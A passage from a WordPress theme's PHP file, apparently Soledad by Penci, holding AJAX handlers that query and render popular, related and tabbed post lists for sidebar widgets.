                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>

                            <h4 class="side-title-post">
                                <a href="<?php the_permalink() ?>" rel="bookmark"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php
									if ( ! $title_length || ! is_numeric( $title_length ) ) {
										if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
										} else {
											the_title();
										}
									} else {
										echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
									}
									?>
                                </a>
                            </h4>
							<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </li>
				<?php $num ++; endwhile; ?>
        </ul>
		<?php
		wp_reset_postdata();
	endif;
	die();
}

add_action( 'wp_ajax_nopriv_penci_popular_news_ajax', 'penci_popular_news_ajax' );
add_action( 'wp_ajax_penci_popular_news_ajax', 'penci_popular_news_ajax' );
function penci_popular_news_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	/* Our variables from the widget settings. */
	$instance   = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance   = json_decode( $instance, true );
	$paged      = $_POST['paged'];
	$type       = isset( $instance['type'] ) ? $instance['type'] : '';
	$categories = isset( $instance['categories'] ) ? $instance['categories'] : '';
	$number     = isset( $instance['number'] ) ? $instance['number'] : '';
	$offset     = isset( $instance['offset'] ) ? $instance['offset'] : '';
	$ptype      = isset( $instance['ptype'] ) ? $instance['ptype'] : '';
	if ( ! $ptype ): $ptype = 'post'; endif;
	$taxonomy     = isset( $instance['taxonomy'] ) ? $instance['taxonomy'] : '';
	$tax_ids      = isset( $instance['tax_ids'] ) ? $instance['tax_ids'] : 'tax_ids';
	$sticky       = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
	$sticky_value = ( false == $sticky ) ? 0 : 1;
	$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
	$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
	$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
	$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
	$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
	$ordernum     = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
	$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
	$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
	$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
	$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
	$hide_thumb   = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
	$showauthor   = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
	$showcomment  = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
	$showviews    = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
	$cats_id      = ! empty( $instance['cats_id'] ) ? explode( ',', $instance['cats_id'] ) : array();
	$tags_id      = ! empty( $instance['tags_id'] ) ? explode( ',', $instance['tags_id'] ) : array();
	$alt_style    = ! empty( $instance['altstyle'] ) ? $instance['altstyle'] : false;

	$query = array(
		'meta_key'            => penci_get_postviews_key(),
		'orderby'             => 'meta_value_num',
		'order'               => 'DESC',
		'posts_per_page'      => $number,
		'post_type'           => $ptype,
		'ignore_sticky_posts' => $sticky_value
	);

	if ( $paged ) {
		$query['paged'] = $paged;
	}

	if ( $type == 'week' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => 'penci_post_week_views_count',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	} elseif ( $type == 'month' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => 'penci_post_month_views_count',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	} elseif ( $type == 'jetpack' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => '_jetpack_post_view',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	}

	if ( 'post' == $ptype ) {
		if ( isset( $instance['cats_id'] ) ) {
			if ( ! empty( $cats_id ) && ! in_array( 'all', $cats_id ) ) {
				$query['tax_query'][] = [
					'taxonomy' => 'category',
					'field'    => 'term_id',
					'terms'    => $cats_id,
				];
			}
		} else {
			if ( $categories ) {
				$query['cat'] = $categories;
			}
		}

		if ( ! empty( $tags_id ) ) {
			if ( ! in_array( 'all', $tags_id ) ) {
				$query['tax_query'][] = [
					'taxonomy' => 'post_tag',
					'field'    => 'term_id',
					'terms'    => $tags_id,
				];
			}
		}
	}

	if ( $offset ) {
		$query['offset'] = $offset;
	}

	if ( $taxonomy && ( 'post' != $ptype ) ) {
		$taxonomy  = str_replace( ' ', '', $taxonomy );
		$tax_array = explode( ',', $taxonomy );

		foreach ( $tax_array as $tax ) {
			$tax_ids_array = array();
			if ( $tax_ids ) {
				$tax_ids       = str_replace( ' ', '', $tax_ids );
				$tax_ids_array = explode( ',', $tax_ids );
			} else {
				$get_all_terms = get_terms( $tax );
				if ( ! empty( $get_all_terms ) ) {
					foreach ( $get_all_terms as $term ) {
						$tax_ids_array[] = $term->term_id;
					}
				}
			}

			if ( ! empty( $tax_ids_array ) ) {
				$query['tax_query'][] = array(
					'taxonomy' => $tax,
					'field'    => 'term_id',
					'terms'    => $tax_ids_array
				);
			}
		}
	}

	$loop = new WP_Query( $query );
	if ( $loop->have_posts() ) :
		$rand = rand( 1000, 10000 );


		?>
        <ul id="penci-popularwg-<?php echo sanitize_text_field( $rand ); ?>"
            class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
			    if ( $featured ) {
				    echo ' penci-2columns-featured';
			    } else {
				    echo ' penci-2columns-feed';
			    } endif; ?><?php if ( ! $ordernum ): echo ' display-order-numbers'; endif;
		    if ( $dotstyle ) {
			    echo ' pctlst pctl-' . $dotstyle;
		    } ?>">

			<?php $num = 1;
			while ( $loop->have_posts() ) : $loop->the_post(); ?>

                <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
					if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
					<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                        <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num + ( ( $paged - 1 ) * $number ) ); ?></span>
								</span>
					<?php endif; ?>
                    <div class="side-item">
						<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                            <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
								<?php
								$size_pie = 'small';
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
								do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
								/* Display Review Piechart  */
								if ( function_exists( 'penci_display_piechart_review_html' ) ) {
									penci_display_piechart_review_html( get_the_ID(), $size_pie );
								}
								$thumb = penci_featured_images_size( 'small' );
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
								if ( $image_type == 'horizontal' ) {
									$thumb = 'penci-thumb-small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
								} elseif ( $image_type == 'square' ) {
									$thumb = 'penci-thumb-square';
								} elseif ( $image_type == 'vertical' ) {
									$thumb = 'penci-thumb-vertical';
								}
								?>

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
									echo '';
								} else {
									echo ' small-fix-size';
								} ?>" rel="bookmark"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                </a>


								<?php if ( $icon ): ?>
									<?php if ( has_post_format( 'video' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'audio' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'link' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'quote' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'gallery' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
						<?php endif; ?>
                        <div class="side-item-text">
							<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>

                            <h4 class="side-title-post">
                                <a href="<?php the_permalink() ?>" rel="bookmark"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php
									if ( ! $title_length || ! is_numeric( $title_length ) ) {
										if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
										} else {
											the_title();
										}
									} else {
										echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
									}
									?>
                                </a>
                            </h4>
							<?php if ( ! $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>
                        </div>
                    </div>
                </li>
				<?php $num ++; endwhile; ?>
        </ul>
		<?php

		wp_reset_postdata();
	endif;
	die();
}

add_action( 'wp_ajax_nopriv_penci_related_news_widget_ajax', 'penci_related_news_widget_ajax' );
add_action( 'wp_ajax_penci_related_news_widget_ajax', 'penci_related_news_widget_ajax' );
function penci_related_news_widget_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );

	/* Our variables from the widget settings. */
	$instance     = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance     = json_decode( $instance, true );
	$paged        = $_POST['paged'];
	$post_id      = $_POST['id'];
	$type         = isset( $instance['type'] ) ? $instance['type'] : 'categories';
	$orderby      = isset( $instance['orderby'] ) ? $instance['orderby'] : 'date';
	$order        = isset( $instance['order'] ) ? $instance['order'] : 'DESC';
	$number       = isset( $instance['number'] ) ? $instance['number'] : 5;
	$title_length = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$dotstyle     = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
	$movemeta     = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
	$featured     = isset( $instance['featured'] ) ? $instance['featured'] : false;
	$twocolumn    = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
	$featured2    = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
	$allfeatured  = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
	$thumbright   = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
	$postdate     = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$icon         = isset( $instance['icon'] ) ? $instance['icon'] : false;
	$image_type   = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';

	$args = penci_get_query_related_posts( $post_id, $type, $orderby, $order, $number );

	if ( ! empty( $args ) ) {

		$args['paged'] = $paged;

		$loop = new WP_Query( $args );
		if ( $loop->have_posts() ) :
			?>
            <ul class="side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
				if ( $featured ) {
					echo ' penci-2columns-featured';
				} else {
					echo ' penci-2columns-feed';
				} endif;
			if ( $dotstyle ) {
				echo ' pctlst pctl-' . $dotstyle;
			} ?>">
				<?php $num = 1;
				while ( $loop->have_posts() ) : $loop->the_post(); ?>
                    <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
						if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
                        <div class="side-item">

							<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) ) : ?>
                                <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
									<?php
									$size_pie = 'small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
									do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
									/* Display Review Piechart  */
									if ( function_exists( 'penci_display_piechart_review_html' ) ) {
										penci_display_piechart_review_html( get_the_ID(), $size_pie );
									}
									$thumb = penci_featured_images_size( 'small' );
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
									if ( $image_type == 'horizontal' ) {
										$thumb = 'penci-thumb-small';
										if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
									} elseif ( $image_type == 'square' ) {
										$thumb = 'penci-thumb-square';
									} elseif ( $image_type == 'vertical' ) {
										$thumb = 'penci-thumb-vertical';
									}
									?>

                                    <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb ) ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
										echo '';
									} else {
										echo ' small-fix-size';
									} ?>" rel="bookmark"
                                       href="<?php the_permalink(); ?>"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                    </a>


									<?php if ( $icon ): ?>
										<?php if ( has_post_format( 'video' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'audio' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'link' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'quote' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
										<?php endif; ?>
										<?php if ( has_post_format( 'gallery' ) ) : ?>
                                            <a href="<?php the_permalink() ?>" class="icon-post-format"
                                               aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
										<?php endif; ?>
									<?php endif; ?>
                                </div>
							<?php endif; ?>
                            <div class="side-item-text">
								<?php if ( $movemeta && ! $postdate ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
                                        <span class="side-item-meta"><?php penci_soledad_time_link(); ?></span>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                                <h4 class="side-title-post">
                                    <a href="<?php the_permalink() ?>" rel="bookmark"
                                       title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
										<?php
										if ( ! $title_length || ! is_numeric( $title_length ) ) {
											if ( $featured2 && ( ( ( $num == 1 ) && $featured ) || $allfeatured ) ) {
												echo wp_trim_words( wp_strip_all_tags( get_the_title() ), 12, '...' );
											} else {
												the_title();
											}
										} else {
											echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $title_length, '...' );
										}
										?>
                                    </a>
                                </h4>
								<?php if ( ! $movemeta && ! $postdate ): ?>
                                    <div class="grid-post-box-meta penci-side-item-meta pcsnmt-below">
                                        <span class="side-item-meta"><?php penci_soledad_time_link(); ?></span>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </li>
					<?php $num ++; endwhile; ?>
            </ul>
			<?php
			wp_reset_postdata();
		endif;
	}
	die();
}

add_action( 'wp_ajax_nopriv_penci_posts_tabs_widget_ajax', 'penci_posts_tabs_widget_ajax' );
add_action( 'wp_ajax_penci_posts_tabs_widget_ajax', 'penci_posts_tabs_widget_ajax' );
function penci_posts_tabs_widget_ajax() {
	check_ajax_referer( 'penci_widgets_ajax', 'nonce' );
	$instance      = str_replace( 'u00a0', '', str_replace( '\\', '', $_POST['settings'] ) );
	$instance      = json_decode( $instance, true );
	$paged         = $_POST['paged'];
	$type          = $_POST['type'];
	$sticky        = isset( $instance['sticky'] ) ? $instance['sticky'] : true;
	$sticky_value  = ( false == $sticky ) ? 0 : 1;
	$popular_order = isset( $instance['popular_order'] ) ? $instance['popular_order'] : 'all';
	$number        = isset( $instance['number'] ) ? $instance['number'] : '5';
	$offset        = isset( $instance['offset'] ) ? $instance['offset'] : '';
	$title_length  = isset( $instance['title_length'] ) ? $instance['title_length'] : '';
	$featured      = isset( $instance['featured'] ) ? $instance['featured'] : false;
	$dotstyle      = isset( $instance['dotstyle'] ) ? $instance['dotstyle'] : '';
	$movemeta      = isset( $instance['movemeta'] ) ? $instance['movemeta'] : false;
	$twocolumn     = isset( $instance['twocolumn'] ) ? $instance['twocolumn'] : false;
	$featured2     = isset( $instance['featured2'] ) ? $instance['featured2'] : false;
	$ordernum      = isset( $instance['ordernum'] ) ? $instance['ordernum'] : false;
	$allfeatured   = isset( $instance['allfeatured'] ) ? $instance['allfeatured'] : false;
	$thumbright    = isset( $instance['thumbright'] ) ? $instance['thumbright'] : false;
	$postdate      = isset( $instance['postdate'] ) ? $instance['postdate'] : false;
	$icon          = isset( $instance['icon'] ) ? $instance['icon'] : false;
	$image_type    = isset( $instance['image_type'] ) ? $instance['image_type'] : 'default';
	$hide_thumb    = isset( $instance['hide_thumb'] ) ? $instance['hide_thumb'] : false;
	$showauthor    = isset( $instance['show_author'] ) ? $instance['show_author'] : false;
	$showcomment   = isset( $instance['show_comment'] ) ? $instance['show_comment'] : false;
	$showviews     = isset( $instance['show_postviews'] ) ? $instance['show_postviews'] : false;
	$showborder    = isset( $instance['showborder'] ) ? $instance['showborder'] : false;
	$query         = array(
		'meta_key'            => penci_get_postviews_key(),
		'orderby'             => 'meta_value_num',
		'order'               => 'DESC',
		'posts_per_page'      => $number,
		'post_type'           => 'post',
		'ignore_sticky_posts' => $sticky_value
	);

	if ( $popular_order == 'week' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => 'penci_post_week_views_count',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	} elseif ( $popular_order == 'month' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => 'penci_post_month_views_count',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	} elseif ( $popular_order == 'jetpack' ) {
		$query = array(
			'posts_per_page' => $number,
			'meta_key'       => '_jetpack_post_view',
			'orderby'        => 'meta_value_num',
			'order'          => 'DESC',
		);
	}
	if ( $offset ) {
		$query['offset'] = $offset;
	}

	if ( $type == 'recent' ) {
		$query    = array(
			'order'               => 'DESC',
			'posts_per_page'      => $number,
			'post_type'           => 'post',
			'ignore_sticky_posts' => $sticky_value
		);
		$ordernum = isset( $instance['ordernum_recent'] ) ? $instance['ordernum_recent'] : true;
	}

	$query['paged'] = $paged;

	$loop = new WP_Query( $query );
	if ( $loop->have_posts() ) :
		?>
        <ul class="penci-wdtab-ct side-newsfeed<?php if ( $twocolumn && ! $allfeatured ): echo ' penci-feed-2columns';
			if ( $featured ) {
				echo ' penci-2columns-featured';
			} else {
				echo ' penci-2columns-feed';
			} endif; ?><?php if ( ! $ordernum ): echo ' display-order-numbers'; endif;
		if ( $dotstyle ) {
			echo ' pctlst pctl-' . $dotstyle;
		}
		if ( $showborder ) {
			echo ' penci-rcpw-hborders';
		} ?>">

			<?php $num = 1;
			while ( $loop->have_posts() ) : $loop->the_post(); ?>

                <li class="penci-feed<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): echo ' featured-news';
					if ( $featured2 ): echo ' featured-news2'; endif; endif; ?><?php if ( $allfeatured ): echo ' all-featured-news'; endif; ?>">
					<?php if ( ! $ordernum && has_post_thumbnail() && ! $hide_thumb ): ?>
                        <span class="order-border-number<?php if ( $thumbright && ! $twocolumn ): echo ' right-side'; endif; ?>">
									<span class="number-post"><?php echo sanitize_text_field( $num + ( ( $paged - 1 ) * $number ) ); ?></span>
								</span>
					<?php endif; ?>
                    <div class="side-item">
						<?php if ( ( function_exists( 'has_post_thumbnail' ) ) && ( has_post_thumbnail() ) && ! $hide_thumb ) : ?>
                            <div class="side-image<?php if ( $thumbright ): echo ' thumbnail-right'; endif; ?>">
								<?php
								$size_pie = 'small';
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $size_pie = 'normal'; endif;
								do_action( 'penci_bookmark_post', get_the_ID(), $size_pie );
								/* Display Review Piechart  */
								if ( function_exists( 'penci_display_piechart_review_html' ) ) {
									penci_display_piechart_review_html( get_the_ID(), $size_pie );
								}
								$thumb = penci_featured_images_size( 'small' );
								if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = penci_featured_images_size(); endif;
								if ( $image_type == 'horizontal' ) {
									$thumb = 'penci-thumb-small';
									if ( ( ( $num == 1 ) && $featured ) || $allfeatured ): $thumb = 'penci-thumb'; endif;
								} elseif ( $image_type == 'square' ) {
									$thumb = 'penci-thumb-square';
								} elseif ( $image_type == 'vertical' ) {
									$thumb = 'penci-thumb-vertical';
								}
								?>

                                <a <?php echo penci_layout_bg( penci_image_srcset( get_the_ID(), $thumb )); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder<?php if ( ( ( $num == 1 ) && $featured ) || $allfeatured ) {
									echo '';
								} else {
									echo ' small-fix-size';
								} ?>" rel="bookmark"
                                   href="<?php the_permalink(); ?>"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php echo penci_layout_img( penci_image_srcset( get_the_ID(), $thumb ), get_the_title() ); ?>
                                </a>


								<?php if ( $icon ): ?>
									<?php if ( has_post_format( 'video' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-play' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'audio' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-music' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'link' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-link' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'quote' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'fas fa-quote-left' ); ?></a>
									<?php endif; ?>
									<?php if ( has_post_format( 'gallery' ) ) : ?>
                                        <a href="<?php the_permalink() ?>" class="icon-post-format"
                                           aria-label="Icon"><?php penci_fawesome_icon( 'far fa-image' ); ?></a>
									<?php endif; ?>
								<?php endif; ?>
                            </div>
						<?php endif; ?>
                        <div class="side-item-text">
							<?php if ( $movemeta && ( ! $postdate || $showauthor || $showcomment || $showviews ) ): ?>
                                <div class="grid-post-box-meta penci-side-item-meta pcsnmt-above">
									<?php if ( $showauthor ): ?>
                                        <span class="side-item-meta side-wauthor"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                    class="url fn n"
                                                    href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
									<?php endif; ?>
									<?php if ( ! $postdate ): ?>
                                        <span class="side-item-meta side-wdate"><?php penci_soledad_time_link(); ?></span>
									<?php endif; ?>
									<?php if ( $showcomment ): ?>
                                        <span class="side-item-meta side-wcomments"><a
                                                    href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
									<?php endif; ?>
									<?php if ( $showviews ): ?>
                                        <span class="side-item-meta side-wviews"><?php echo penci_get_post_views( get_the_ID() ) . ' ' . penci_get_setting( 'penci_trans_countviews' ); ?></span>
									<?php endif; ?>
									<?php do_action( 'penci_extra_meta' ); ?>
                                </div>
							<?php endif; ?>

                            <h4 class="side-title-post">
                                <a href="<?php the_permalink() ?>" rel="bookmark"
                                   title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
									<?php
